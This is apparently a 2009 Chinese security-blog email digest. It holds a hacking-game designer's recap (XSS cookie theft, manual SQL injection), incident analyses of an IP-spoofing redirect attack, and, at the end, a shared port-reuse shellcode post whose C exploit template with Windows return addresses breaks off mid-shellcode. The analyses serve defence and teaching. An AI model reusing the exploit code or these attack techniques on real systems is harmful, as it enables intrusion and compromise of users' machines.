来自"鬼仔's Blog"的最新文章,如果您不希望再收到此邮件,请退订;如果您需要更换其它邮箱接收邮件,请点击这里!
Fuck The World!
IT168 安全技术大赛09年新年版设计者的总结
Fri, 13 Mar 2009 13:29:44 +0800
作者:空虚浪子心
【IT168专稿】在整个游戏关卡中,所有用到的技术,都是比较基础的,只要有自己的思想,又懂得基本黑客技术,花点时间,很容易过关。整个设 计思想是:要求过关者用自己的真实技术,不借助全自动工具,熟悉基本的web黑客攻击技术,肯动脑。关卡尽量切合实际,使用技术尽量不重复。在关卡开始之 初,预计要拿host文件这东西,挡住一部分人,让哪些没耐心的,不愿意动脑的人,先去清醒下,过段时间再来玩。
本次大赛的入口是:http://www.ixpub.net/thread-892412-1-1.html
本次大赛的目的就是为了先把菜鸟挡在门外,让更多有技术的人,拿到奖励,让老鸟分享自己的攻防经验。而菜鸟学习到这些经验以后,就可以用在以后的"关卡"上了。黑客游戏,最闪亮的地方,就是最终如何被攻破。
其实有时候一个题目是很难出的,要求真实的技术,又不能脱离实际,这才是关卡设计的难点。举个例子吧,如果我出一道毫无意义的题目,一个管理员 密码让你用彩虹表跑上一二天,很切合实际吧?在"日常生活"中,我们可能经常遇到,可惜这样的题目既浪费你的时间,又浪费国家电力资源,更体现不出真实技 术。所以,题目的选材是最重要的一步,也是最难的一步。而我最终定下来的关卡,都是千挑万选过来。
第一关:host文件+简单破解
注意观察,是每一个安全人 员都必须具备的基础,甚至比很多技术,更要值得深思,这一点,贯穿了游戏的每一个部分。作者《游戏说明》中的每一句话,都不是白写的,有很多甚至是"最终 过关"的钥匙,7J(大赛第一名)就在这里吃过大亏。其中有句原话是这么说"经测试,每一关地址都可以正常访问。",看起来绝对属于废话,不过却在变相的 提醒"关卡没问题,你访问不了,是你的事情,自己想办法访问吧!"。于是就有很多聪明的过关者,想到了host文件这回事情。
改了 host文件,看到的页面,让你下载一个EXE下来,进行破解。为啥要加这个呢?其实就是在变相的提醒大家:"看到没?全都是简单的技术,连平时用来关卡 中的拿奖出彩项目,都这么基础"。不会的看看pediy的教程,打开OD,选择查找所有字符串,就看到密码了。这才叫真正的"略有基础"即可破解。得到密 码后,显示出了2关的地址。还是访问不了,不过有了第一关的那个大大的坑,这点问题,就再也难不倒大家了。
应用的"日常生活"中,不知道大家有没想过,很多服务器,都会有隐藏关卡的,当我们查出来分明这里有个站,却自己访问不了的时候,有没有想过改host文件呢?兴许管理员就疏忽了,域名到期,服务器的网站还在。修改host文件,甚至可以破解一些网络验证。
第二关:冲破留言本
在很多网站中,多多少少都有留言本的功能,如果我们搞来搞去,没地方冲,或许在这里会有很多不小的收获。很多朋友一看到留言本,已经知道这关的 主旨了 --XSS。一般来说,由留言本拿站的不是没有,都非常少数,具体原因当然是因为这东西功能太少。不排除有些数据库以ASP结尾,而刚好又能写入一句话马 的情况,不过这次游戏,大家就别想从shell入手了,因为关卡的环境比较复杂,服务器上还有其他站,我必须保证大家不能拿到shell。当然下次游戏我 就不多透露了。
XSS已经是攻击中不可缺少的技术了,很多时候,是可以直接拿shell的。所以黑客游戏中,也不可缺少。但是真正利用起来,就有了高级和低级 之分,为了照顾大家,我还特意找了个没有任何XSS过滤的留言本(下次可没这么简单了)。同时,我还在自己的机器上,架设了虚拟机,每天早晚,用管理员身 份,看一遍大家的帖子。互动啊,这可是标准的互动。有不少人XSS了成功了,于是就看到了管理员登陆后,cookie中的变化。直接写着第三关的地址。
要知道,为了正常的关卡运行,我每天早晚都会上来和大家演戏的,看帖,删帖。为了保证功能的运行,专门写了一个asp的页面,用来恢复帖子和管理员密码,当然这是一个很长很长的路径。过了这一关,真正的游戏才刚刚开始。
第三关:手工SQL注入
问:现在的SQL工具一大把,咋能保证别人只能手工注入呢?
这就是人,和机器的区别。
这是个很特殊的需求,网络上绝对不会有教程的,他们都在想,如何能防止SQL注入攻击,而我在想,如何在允许手动SQL注入攻击的同时,绕过工具的自动扫描。
最终,我确定了一种方法,叫做转换。在接受到用户输入的字符后,分析其中的字段,转换里面的SQL注入关键字。再给出一张转换列表,用于大家手 动注入时做对照。本来是没有大家看到的那个JS写的转换函数的,后来我看到官方给的奖品没有以前的那么绚丽,担心难度太高,会影响过关的激情,才照顾大 家,特意给加了个转换函数。
其实难度真的不高,一条语句获得mdb的地址,另一条语句跨库。表名和字段名,也都是最最常见的。
SQL注入是web攻击中的绝对王者,他的出现,甚至可以改变一个攻击的时代。我想,如果不是哪些工具的出现,恐怕现在SQL注入是否能被各个网站提上紧急日程,都是一件难以预见的事情。如果没有相关的基础,平时只会用工具的菜鸟,必定会卡在这一关。
而注入之前的TNT,我就没打算拿这个卡住大家,这只是为了让大家不要忘记在绝境的时候,还有这么一个技术而已。
第四关:搞的就是管理员
问:要攻击渗透一个企业,无论大小,最最重要的渗透点是哪里?
毫无疑问,管理员就是这个点。再安全的系统,再安全的程序,都经不住那些白痴管理员们瞎捣鼓。他们才是真正的"黑客"。
前期的一位重要关卡设计者,经验丰富的渗透家某某曾经说过,搞一个站,最重要的,就是管理员,无论我们想什么办法,最终的矛头一定会指向他。换句话说,如果你搞了半天站,最后连管理员是谁都不知道,那只能说明你是个没入门的菜鸟级菜鸟。
首先入眼的是动网论坛,最新版,为保证不让大家拿到shell,凡涉及FSO的功能页面,基本都已经被我咔嚓了。看到7J在论坛上说"有0day就好了",个人认为这家伙在作秀,换做是我,有0day,也不会用来打这个关卡,明明知道这个关卡,是受到绝对的监视的。服务器开着wareshark,你敢扔过来,我绝对录制的完美无缺。那个拿着0day去砸j8hacker的家伙,就被我抓个现行,完美的捕获了整个过程。
没了0day,很明显就只有一条路了,拿管理员下手,相信大家都有猜密码的痛苦经历。这个密码么,一般是社工不来的,因为我没打算让你社工了,最后一关啊,咋能这么简单呢?仔细的对比下,一个崭新的论坛,和关卡中的,到底有什么不一样呢?还不就是管理员邮箱么?
不过这需要一个极端的联想逻辑(惯性思维),从1,2,3关来看,关卡的设计者很明显没什么钱,穷的只能用host文件来完成关卡设计。而邮箱 里的那个用户名,又和本关地址,这么相像,难道没有玄机在里面么?其实只要再次绑定这个用户名的域名,访问关卡,就可以看到4关的第二小关了,后面的企业 网站,自然是一注就出来密码的。这一切的一切,就发生在管理员的信息上,只要仔细的观察管理员,会得到很多有用的东西。
用2小关的密码,迂回到 4关的1小关,登陆后台,就是2小关的作用。其他的功能都被删了,还能做什么呢?值得一提的是,这一关不像前面的关卡一样,有明显的提示过关页面,说明登 陆了后台还不算完。说道这一点,我很失望,都已经在过关说明上提示的那么清楚了,让你们联系管理员QQ嘛。怎么就是有那么多人,都到了门口了,就是没有联 系呢?呵呵,其实这是一个文字游戏,故意的。-_-!都以为那个管理员QQ是动网自带的是吧?
看到大家都不过关,我有只要充当好人,去论坛发帖子不断的提醒了。以前的JS关黑客游戏,大家都知道会有"文字游戏",怎么到了这个,大家都忘记了呢?发散思维,跳跃思维不管用在哪里,都是绝对有用的利器。
最后总结下,这次的游戏中提到的技术,大家都掌握了么?那好!等待下一关吧!
发表评论 | 分类:乱七八糟
© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2891.html
相关日志
回答IP Spoofing 的問題
Fri, 13 Mar 2009 13:27:21 +0800
来源:阿碼外傳
最近的大規模轉址事件,由於影響範圍廣大,引起了各方的討論,我們也做了研究與分析。針對這些研究,網友有一些問題與看法,我們在這邊簡單回復。
問1:Non-Blind Spoofing這個攻擊,需要監聽封包並搶在真正封包回應前,傳送惡意封包至client端。這真的有可能嗎?
答 1:第一,這是錯誤觀念,non-blind spoofing,尤其是用在HTTP協定上時,並非一定要搶在真封包前,才能達到目的。即使在之後才到達,只要連線還沒有斷,並在sliding window以內到達,要插入iframe還是有可能的。這關係大部分作業系統的TCP/IP實做,這邊不多著墨,但是後來幾天我們已經錄到攻擊者做這方 面的嘗試了--如何設計封包,即使在真封包之後到,還是能插入iframe。第二,我們確實錄到的就是這樣,既然已經有錄到的封包,IP spoofing有發生以經是事實(而且還成功達到轉向效果),況且也還有其他網友錄到並放上網路。這是典型的IP spoofing,應該沒有疑問才是。第三,我們也錄到很多spoofed的封包是在真封包到達後才到達的,這次的攻擊並不是每次都能成功。第四,可能您 不常見到IP spoofing,或不常處理相關事件,但是我們遇見很多次了,IP spoofing要在route中間達成,並不困難。zxarps有很多很強的技巧,但是並不是有了zxarps才有spoofing,spoofing 自90年代至今已經歷史悠久了。我還記得2006年二月時讀Dancho Danchev的blog,他將spoofing的問題嚴重性描述得很好,並從ANA Spoofer Project中拿了一張表來秀,大致上,網路有四分之一是可以被spoof的:
source:Dancho Danchev's blog, taken from ANA Spoofer Project
問2: Non-blind spoofing必須能夠聽到封包。那麼spoofing點會在哪裡呢?有可能是在route中間嗎?在伺服器端使用arp spoofing來監聽封包不是比較容易嗎?
答 2:恩,好問題。在伺服器端用arp spoofing來達到監聽封包並發送假封包,比起在路徑中利用入侵路由器或其他網路設備來達成,誰難誰易,要看路徑的網路架構與伺服器端的網路架構而 定。這就像是問,ISP/電信業者的資安做得比較好,還是msn.com/cnet.com的資安做得比較好?今天大量民眾被上網被轉址已是事實,問題有 可能發生在每個各別的使用者,或中間的線路業者,或網路的設備,或伺服器端的網站farm。這次被轉址的網站都很大,中間的電信業者也都很大,大家都是很 專業的公司,我們沒有否定任何一方的專業能力,我們只是就我們所研究出的事實,進行分析。就我們的分析,TTL=7時,就已經有spoof封包,而且每個 封包的s/n都很準,故我們推論:1.攻擊程式可以看到封包,2.攻擊程式在路徑TTL=7以內。
問3:某ISP是天天檢查網路的,都沒有發現異常,你覺得有可能中間有spoofing程式嗎?
答3:這次被轉址的都是大型網站,msn.com、cnet.com等等,而ISP也都是很大,很專業的。我們相信不論是網站,或是ISP,一定都是每天檢查網路,我們也很相信這些單位的專業度。然而世界上最高機密的單位/組織,幾乎都曾被入侵過,資安就是這樣,在先天不安全的架構上,與駭客的戰爭是不對等的:防守難而攻擊易(IPv6會好些但是不知等到何時),而在台灣,大規模轉址的事件也還是發生了。既然已經發生了,重點不是討論責任歸屬:有可能是這些網站,也有可能是ISP,也有可能是某個設備,也有可能是使用者本身。但是我們要用科學的方式去研究這個事件,才能在未來避免重複的事件發生。這 次沒有大規模轉址到攻擊力強的惡意網址,但是下次呢?難道要等大家都被轉址到惡意網址,被感染了,才來討論誰的責任?為何不事先研究,預防,來減少損失? 我們只不過將我們所錄到的,加上我們的經驗,公布出來,並表達我們的看法。這對大家都有幫助。什麼是科學的方式?就是根據事實的研究。根據錄到的封 包,IP spoofing發生了,這是事實。
問4:如果是在route中間發生spoofing,流量要mirror到哪裡?
答 4:有很多方式,我們自己就有碰過tunnel到第三方的。在大部分的路由器上,設tunnel並不難。其實這樣子的攻擊,以前還蠻常見的。有些網管會把 switch/router設mirror到IDS,此時如果該IDS失守,流量也就可以監聽了。如果路由器有與其他設備或電腦在同一個 collision domain的話,那就可以利用如ARP spoofing的方式來達到監聽,也就不需要mirror流量。依據架構的不同,有很多不同的可能性。然而在路徑中使用ARP spoofing,對象是路由器,這跟在伺服器端使用ARP,對象是web server並不一樣--對路由器使用arp spoofing比較難(不造成混亂比較難)。
問5:你們這次有依循responsible disclosure嗎?
答5:有 的,在公開前,我們已經用電話與網路與相關單位聯絡,並有討論如何公開。另外,responsible disclosure一般是針對對於弱點的揭露,尤其針對0day的揭露。Responsible disclosure遠在沒有網路時,在鎖匠的社群中就廣為被討論了,現在大家也有了很明確的共識。揭露弱點需要依循負責的揭露程序,因為一旦弱點揭露 後,會讓更多惡意人士了解此弱點並加以利用,造成更大的損失。但是我們今天談論的是一個事件,非一個弱點。這就像大砲開講Roger會討論某某網站被植入 惡意程式一樣。大家是否注意到,Roger從不針對某某網站如何被掛馬進行討論?因為這就變成是討論弱點而非事件了。事件已經發生,我們可以就事實討論。 針對此大規模轉址事件,我們是很後期才加入討論與研究的,之前已經很多網友與專家發表看法,並錄下封包公布。針對此事件,大家都在討論,到底是 msn/cnet網站出問題?還是ISP出問題?還是設備商?這是一個選擇題,但是我們也沒有直接選了答案。我們覺得,至少我們自己的監控中,大規模轉址 時並沒有轉到具有高度攻擊性惡意程式的網址(小規模測試時則有,前一篇有說),故此事件除了造成大家不便與猜測外,並未有太大實質的損失(想一想如果轉址 的網站是具有高攻擊性的惡意程式或甚至0day,現在會是什麼局面?)。重點應該是討論出事件的手法,把時間花在找出問題,避免往後更大的損失才是。另 外,如果問此問題者本身過去有不負責的揭露0day,或甚至販賣0day獲利的話,這個道德性的問題,應該自己多想想,不是來問我們。
問6:那這次到底是non-blind IP spoofing還是ARP spoofing還是ARP掛馬?
答 6:依據錄到的封包,確定有non-blind IP spoofing。至於是否伴隨ARP spoofing,沒有直接證據,故我們沒有說有,但也沒有說一定沒有。non-blind IP spoofing是錄到的事實,故我們會說一定有。Non-blind IP spoofing需要能監聽流量,其中ARP spoofing是可以達到監聽流量的方式之一,但不是唯一方式,且在路徑中使用困難度高。ARP掛馬的定義則還沒有那麼嚴謹。我們只能說,依據封包的特 性分析,這次並不太像是大家手上的zxarps這 個工具所發出的封包。另一方面,如果能夠ARP spoofing,攻擊會漂亮得多,因為可以直接man-in-the-middle,可以直接竄改封包,植入想植入的東西(例如iframe),不會有 真假封包之分,也不會需要搶先真封包來提高成功的機率,我們在偵測與研究上也會更困難。可是這次的攻擊,就我們錄到的內容,很明顯的,攻擊程式無法直接 man-in-the-middle修改封包,才會試了很多麻煩又不漂亮的技巧。這些上一篇都有提了這邊就不重複贅述了。(見上篇圖五--多麼辛苦的 iframe插入方式啊!)
問7:這一兩年大陸的駭客充分探討研究了ARP掛馬,工具也成熟,有很多資料可以參考,是最有可能的方式,為何你不認同?
答 7:我們當然了解這兩年ARP spoofing或ARP掛馬,在大陸很流行,工具也很成熟。但我們並沒有假設攻擊者一定來自大陸!另一方面,IP spoofing是從90年代就很常被用的手法,太多人會了,也太多很成熟工具了,ARP spoofing亦然,這些都不是這一兩年的知識。我們做研究,看得是事實,這次看到的,攻擊者沒有辦法竄改封包,沒有辦法避免真封包的到達,甚至沒有辦 法避免假的封包比真的慢到達,所以對方試了很多種方式。如果能夠用ARP掛馬,這些都可免了--可是事實並不是這樣。我們在講的並非什麼最有可能,不是說 ARP掛馬很流行就最有可能,我們是探討我們錄到的事實,我們做研究一向如此。
作者 Fyodor Yarochkin 為 o0o.nu 成員
作者 Wayne 為 阿碼科技CEO
发表评论 | 分类:技术文章
© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2890.html
相关日志
大規模網頁綁架轉址之水落石出篇
Fri, 13 Mar 2009 13:25:16 +0800
来源:阿碼外傳
山高月小,水落石出、清風徐來,水波不興!
最近的大規模轉址事件,由於影響範圍廣大,引起了各方的討論,o0o.nu的fyodor yarochkin(聯絡方式:fygrave 鼠 o0o 點 nu)與阿碼科技的Wayne,之前針對此事鍵做了一些研究,並在前一篇post「大規模網頁綁架轉址:威脅未解除,但專家都猜錯了」中,依據我們錄到的封包,詳述了我們對事件的看法。我們不覺得此事與DNS有關係,也沒有證據顯示此次與zxarps工具的ARP掛馬手法有關。從我們錄到的封包來看,這是典型的,從90年代一直用到現在的IP spoofing。
這兩天,經過一些研究與測試,我們可以在route上準確的指出攻擊程式的所在位子,昨天也已經充分通知相關單位,今天在這裡把結果與各位分享,另外也謝謝Peter Yen與其他朋友提供的寶貴資訊。
最 近攻擊有轉緩的趨勢,大部分大型網站的流量已經不再被轉址,但是我們這幾天觀察下來,一直到昨天(今天尚未測試),攻擊程式都還存在,只是不再針對大型網 站spoofing,而針對某些特定網站做spoofing,並且不斷更改行為,故我們認為對方正在做許多測試與校調,試圖盡量讓spoofed封包看起 來與正常流量類似,以便下次發動攻擊。我們的測試方法是利用一個小程式發送TCP封包,封包裡是HTTP GET request,而再透過TTL的設計,就可以知道當封包經過哪一個節點時,有spoofed IP packet發送回來。當然我們這種測試方法是可以被偵測到的,所以現在公開之後,預計也將增加往後類似測試的困難度。
[攻擊所在位置]
我 們從兩個端點進行測試,其中一個端點A是會被攻擊的,而另一個端點B是不會被攻擊的。這兩個端點的匯集處是211.22.33.225這個路由器,而我們 同時在兩端點跑測試程式,對目前仍會遭受攻擊的網域送GET封包。測試結果,端點B不會收到spoofed封包,而端點A則每當封包經過第六個節點 210.65.255.241(也就是連到211.22.33.225的前一個節點)時,我們就會收到spoofed封包。我們因此可以肯定,在 210.65.255.241這個分支中,有攻擊程式。由於資源有限,我們只測試了A與B兩個分支。
(圖一)
(圖二)
[攻擊手法改變]
在我們貼出了「大規模網頁綁架轉址:威脅未解除,但專家都猜錯了」一篇後,立刻觀察到對方在攻擊手法上不斷調整,我們做紀錄於下:
1. id已經不像之前我們觀察到的,固定在0x0100,開始隨機了。其實我們之前沒有明講,但是相信許多網管人員一看到我們的post,就了解到了,裡頭的資訊可以直接用來設定IDS/IPS/Firewall,有效阻擋攻擊吧?像是id固定是0x0100、或FIN與payload同時存在等,可惜我們每次一公開,對方也會跟著改變。下圖錄於三月11日10:30am,第五個封包是spoofed,第六個是正牌的封包:
(圖三)
2. 已經不再是一個封包完成攻擊了。一 個封包同時設FIN與帶payload,是很大的特徵,很容易被IDS/IPS/firewall抓到,故這幾天錄到的流量中,對方不斷改變方式,已經不 再採此手法了。但是也並不是一次發兩個封包,一個payload一個FIN,而是還是只發一個,而讓正牌的FIN來結束連線。這樣的作法,每個攻擊仍然只 有一個spoofed封包(payload),比較俐落,但是由於沒有立刻結束連線(不帶FIN),故根據各作業系統TCP/IP stack實做之不同,可能造成假封包與正封包內容被系統合而為一,因此payload需要特別設計,以免轉址失敗而瀏覽器出現亂碼。我們測試時,對方正 不斷調整payload的設計。上圖中,第五個封包的FIN沒有設了,第六個是正牌repy,第七個則是正牌網站送出的FIN。
3. 開始轉向確定有惡意程式的網址。之 前雖然轉址網域過去都有許多不良紀錄,但是就這次攻擊事件的範圍,之前沒有看到確實具有攻擊力的惡意程式存在於這些網址中。然而如上圖又下方所示,最新的 攻擊中,所轉址的其中一個網址:hxxp://61.218.245.190/_vti_access/index.htm,確定含有四支具有攻擊性,可 觸發之攻擊程式(以下為免費網站惡意程式監控服務HackAlert畫面):
(圖四)
4. 開始想辦法隱藏攻擊。見下圖,錄於三月11日10:30am。 下圖中,第51封包是spoofed,我們看右下角的payload,這會讓瀏覽器載入一個隱形的iframe(目前是google),而過了四秒後,瀏 覽器會reload。由於沒有轉向,這會讓受害者只覺得等了比較久,但是正確網頁最後還是會載入,故不容易發現蹊蹺,而到時候把iframe改成指向惡意 網頁而非google,這四秒足夠惡意程式攻擊受害者電腦成功,植入木馬了。
(圖五)
5. 同一個被感染的網段,可能有不只一個的攻擊程式。圖 五中,第51封包是spoofed,id=0x0100,ttl=115,payload是隱藏的google iframe,並在四秒後重新載入原網站的內容。第54個封包也是spoofed,id=0xccbb,ttl=113,內容是直接轉向到惡意網址。正牌 的回應封包則是第56與58。這很可能是兩組不同人馬所植入之不同攻擊程式,也有可能是同一組人在測試不同版本時忘記把其中一個版本關閉。
(圖六)
6. 攻擊之工具是否是zxarps的改版延伸?這我們一開始就測試過了,然zarpx可實際做man-in-the-middle竄改封包而這次並沒有,另外封包特徵差異非常大(ttl/id/service filed/行為等),故我們覺得應該使用了其他的攻擊程式。
[結論]
針對我們錄到的資料,我們可以做出以下結論:
1. 至少可以測出攻擊程式仍位於210.65.255.241這個節點。另外可以確定並非網站本身受感染。
2. 對方目前不斷測試不同攻擊方式並使得此攻擊完美化,明顯為下一波攻擊鋪路。
3. 在初次很粗糙的測試中,對方可以造成大量轉址,但行為明顯,使用者很容易察覺。在新一波觀察到的手法中,對方一直致力調整成使用者無法察覺之方式。
4. 對方針對我們公布的特徵進行改良,欲使IDS/IPS/firewall無法輕易認出假造的封包。
5. 在小量的測試中,已經含有具有攻擊性並能攻擊成功的惡意網頁。
6. 由於是基礎架構問題,一般使用者無能為力,只能盡量使用https,等待基礎架構修復。
7. 有問題的網段可以檢查路由器與路由器相通的他機器是否遭侵入或竄改設定。
作者 Fyodor Yarochkin 為 o0o.nu 成員
作者 Wayne 為 阿碼科技CEO
发表评论 | 分类:技术文章
© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2888.html
相关日志
大規模網頁綁架轉址:威脅未解除,但專家都猜錯了
Fri, 13 Mar 2009 13:14:34 +0800
来源:阿碼外傳
(續集見:「大規模網頁綁架轉址之水落石出篇」)
從 三月初開始,網路上陸續有消息,連往tw.msn.com、taiwan.cnet.com等網站時,會被自動轉址到 www.dachengkeji.com。一開始心裡想,大概又有誰的DNS沒有上patch吧,要不然就是又有DNS 0-day或又有人玩BGP了。過了幾天,威脅還是沒有解除,媒體也都紛紛報導了:
神秘網頁轉址事件 疑為新型態攻擊手法,ZDNet 2009/03/05
DNS遭攻陷,多家知名網站慘被攔截轉址,網路資訊 2009/03/05
[教學]遭遇不明網路劫持該如何自救?網路資訊 2009/03/07
追蹤:轉址攻擊仍持續且惡意碼手法日趨成熟,網路資訊 2009/03/08
微軟MSN首頁遭轉址 疑上層DNS被入侵,IThome 2009/03/06
恩,這麼多的專家都說是DNS被綁架了,跟我的直覺一樣...我那時這麼想。
三月七日中午,我用一台電腦上網,剛好這台的IE首頁沒有改,設的是MSN,結果一開就真的被綁架到dachengkeji了。這個dachengkeji.com,真是厲害,我心裡想,過了這麼多天,威脅都還沒解除。就在這個時候,o0o.nu的fyodor yarochkin(聯絡方式:fygrave 鼠 o0o 點 nu)從MSN上傳訊息來,跟我說最近號稱「DNS綁架」造成網頁轉址的事件,根本跟DNS無關,引起了我的好奇,於是我用WireShark看了一下封 包,赫然發現這絕對不是一般的DNS綁架,駭客所有的手法犀利,影響的範圍應該非常大!我在這邊將fyodor與我的研究與各位分享,希望各位如果有想 法,也可以讓我們知道。
這一個攻擊利用了兩個技巧:
(1) None-blind spoofing,而這也表示攻擊程式位於從受害者到受害網站之間的路徑上,可以監聽流量。
(2) 有些 TCP/IP stack 在實做上的缺失(bug),目前測試結果微軟的系統有此缺失,但是預計還有其他作業系統會有此缺失。
我用我借WireShark錄下來的封包來解釋這個攻擊手法,當時我正試圖連往http://www.gogrok.com(因為網友說這個網站也會被鎖定轉址)。我當時的IP是192.168.1.129,而gogrok的是202.157.128.202。
以下我們看frame 15--我的機器對gorok送SYN。
Frame 16中,對方送SYN/ACK,注意對方的TTL是56。
Frame 17,我送ACK,three way handshake完成,連線成功。Frame 18,我送http request,request(get)不會特別長,所以都在一個封包裡。注意TCP s/n=752:
Frame 19,對方回應,s/n是對的(752),可是id=0x0100,太巧了吧?TTL也突然變成=115。重點是這個封包設了FIN,另外http response內容--meta refresh轉向。FIN表示對方要中斷連線,而meta refresh則會導致我的瀏覽器轉向到www.zhonglie.org。這個這個封包其實沒有符合RFC 793:SYN/FIN封包不能帶其他payload;所有的payload應該在three way handshake完,FIN之前交換。
Frame 20-21,我方確定中斷連線。Frame 23是正牌網站送來的ACK,s/n是對的(752),TTL也是56,id=0x2087不是0x0100。但是比較晚到,我機器已經認為此連線中斷了,瀏覽器也被轉向了。
這個攻擊的特色是,第一,有正確的s/n號碼,表示攻擊程式位於route上,可以看到封包。第二,利用了有些作業系統(例如微軟)在TCP/IP stack實做上的缺失,使得整個攻擊,一個封包就搞定,乾淨俐落。
很多網友都有在網路上討論:
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
「連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「進入 iThome Blog網址自動跳轉廣告網址」
「[求助] 連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm 」
「有辦法檢查本站是否 DNS 有被駭嗎?」(此網域本身被鎖定,點選要小心!)
「tw.msn.com被攻陷了嗎?」
「胡亂轉址」
「封鎖惱人的"www.dachengkeji.com"大乘科技」
「網站新聞 : 關於tw.msn.com被導向到dachengkeji網站的反應已經漫延到我們客戶了」
「[重要]連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「[求教] 台服官方网站是不是被别人内链了,看图说话」
「電腦警報:非中毒的網頁自動轉址(3/10更新)」
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
網頁劫持
這些討論與報導,但部分訪問專家說的,都不正確。這次的攻擊跟DNS沒有任何關係。另外,目前為止,威脅並沒有結束或降低!三 月七日兩點到三點,我用那時的電腦做了些測試,發現每一次我連tw.msn.com都被轉向。但是下午約四點開始,突然不轉向了,我想大概威脅解除了,被 感染的路由器修好了。可是三月八日中午,我發現威脅依然存在,但是對於每一個被鎖定轉向的網址,都只轉一次!也就是說,假設你在家裡,那麼只有在你第一次 連往被鎖定之網站時,會被轉址,第二次就完全不會了。這是為何我錄的是gogrok.com而非tw.msn.com,因為轉了一次以後就不轉了。我試了 很多被鎖定的網址,都是一樣,只有第一次會轉。
網路上判斷比較接近我們的,有Blue在資安之眼所貼的「關於這兩天的轉址攻擊事件」,還有richliu所blog的「某些 ISP 疑似被 hijacking攻擊」。另外,在mobile01上,powerpcer有貼出他的pcap dump,我們看過手法跟我們錄的是一樣的。
Cisco也在三月六號貼出了alert:
CISCO:TCP Traffic on Chinese Networks Redirected to Malicious Websites
我們在這邊整理整個事件相關資料,如果有網友有可以補充的,歡迎留言或email(wayne鼠armorize點com)提供我們!
[攻擊技巧]
(1) None-blind spoofing,而這也表示攻擊程式位於從受害者到受害網站之間的路徑上,可以監聽流量。
(2) 有些 TCP/IP stack 在實做上的缺失(bug),目前測試結果微軟的系統有此缺失,但是預計還有其他作業系統會有此缺失。
[攻擊特色]
(1) 攻擊程式位於route中,很可能在backbone上,故影響範圍廣大。
(2) 一個封包就可以攔截session。
(3) 改版後,一個網址只會轉址一次,造成追蹤困難。
(4) 手法並非目前很多專家說的「DNS感染」。
[遭鎖定轉址的網域]
根據網友的回報,目前已知遭鎖定轉址的網域有:
tw.msn.com (我們自己有測試成功)
www.msn.com.tw
www.gogrok.com (我們自己有測試成功)
taiwan.cnet.com (我們自己有測試成功)
www.orzteam.com
www.92an.com
www.wowtaiwan.com.tw
www.ioage.com
www.ithome.com.tw
[轉址到的網域]
轉址到的網域有:
www.dachengkeji.com
www.zhonglie.org
www.yyge.com
www.ganji.com
[pcap封包下載]
我們有msn.com、cnet.com以及gogrok等三份被spoof時錄下來的封包,可以聯絡我們索取(wayne鼠armorize點com)。
[如何防護]
由 於為路徑中有節點遭控制,使用者不容易自保,建議利用https而非http連結網站(如果網站有提供https的話)。如果擔心機器已經因為被轉向而遭 受攻擊,被植入惡意程式,可以來信索取阿碼科技的免費Archon Scanner:info鼠armorize點com。
[資安廠商alert]
CISCO:TCP Traffic on Chinese Networks Redirected to Malicious Websites
[相關新聞]
1. 神秘網頁轉址事件 疑為新型態攻擊手法,ZDNet 2009/03/05
2. DNS遭攻陷,多家知名網站慘被攔截轉址,網路資訊 2009/03/05
[教學]遭遇不明網路劫持該如何自救?網路資訊 2009/03/07
追蹤:轉址攻擊仍持續且惡意碼手法日趨成熟,網路資訊 2009/03/08
微軟MSN首頁遭轉址 疑上層DNS被入侵,IThome 2009/03/06
[相關網路討論]
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
「連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「進入 iThome Blog網址自動跳轉廣告網址」
「[求助] 連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm 」
「有辦法檢查本站是否 DNS 有被駭嗎?」(此網域本身被鎖定,點選要小心!)
「tw.msn.com被攻陷了嗎?」
「胡亂轉址」
「封鎖惱人的"www.dachengkeji.com"大乘科技」
「網站新聞 : 關於tw.msn.com被導向到dachengkeji網站的反應已經漫延到我們客戶了」
「[重要]連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「[求教] 台服官方网站是不是被别人内链了,看图说话」
「電腦警報:非中毒的網頁自動轉址(3/10更新)」
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
網頁劫持
作者 Wayne 為 阿碼科技CEO
作者 Fyodor Yarochkin 為 o0o.nu 成員
发表评论 | 分类:技术文章
© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2881.html
相关日志
端口复用shellcode
Fri, 13 Mar 2009 12:50:07 +0800
作者:刺
硬盘里有很多使用各种各样的技巧来实现端口复用的shellcode,都是以前写的。翻出来一个比较矬的,贴到这里。想扩展的朋友可以自己改。 这个shellcode也可以很方便的扩展为写C/S类型的exploit模板
这是 stage1 shellcode。
怀旧shellcode系列就贴到此为止了,老是在blog上贴这种代码似乎没什么人看。
/*
author: axis@ph4nt0m.org
Team: Ph4nt0m Security Team(http://www.ph4nt0m.org)
Date: 2007
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <io.h>
#pragma comment (lib,"ws2_32")
struct OSTYPE
{
unsigned char ret[8];
char des[255];
};
OSTYPE os[] = {
{"\xe1\x1e\xfa\x7f", "Windows CN ALL POP/POP/RET"},
{"\x5a\x21\x01\x78", "Windows2000 SP3/SP4 ALL POP/POP/RET msvcrt.dll"},
{"\x12\x45\xfa\x7f", "Windows CN JMPESP address from Chinese Ansi Code Page"},
{"\x34\x33\x80\x7c", "Windows2003 CN SP1 CALL EAX"},
{"\x9f\xd6\xc1\x77", "WindowsXP CN SP2 JMP EAX"},
{"\x41\x42\x43\x44", "Ret Addr For Test"}
};
#define POP_POP_RET "\xfd\x2e\x92\x7c" //pop ebp,pop ebx,ret xp sp2 cn
char Payload[400] = ""; //server.exe
#define Magic_Len 1102
// 1098 +4 = 1102 bytes put/get 文件传输,传输加密 Xor_key = 0x33
char magic_shellcode[] =
"axis\x53\xe9\xd3\x03\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c"
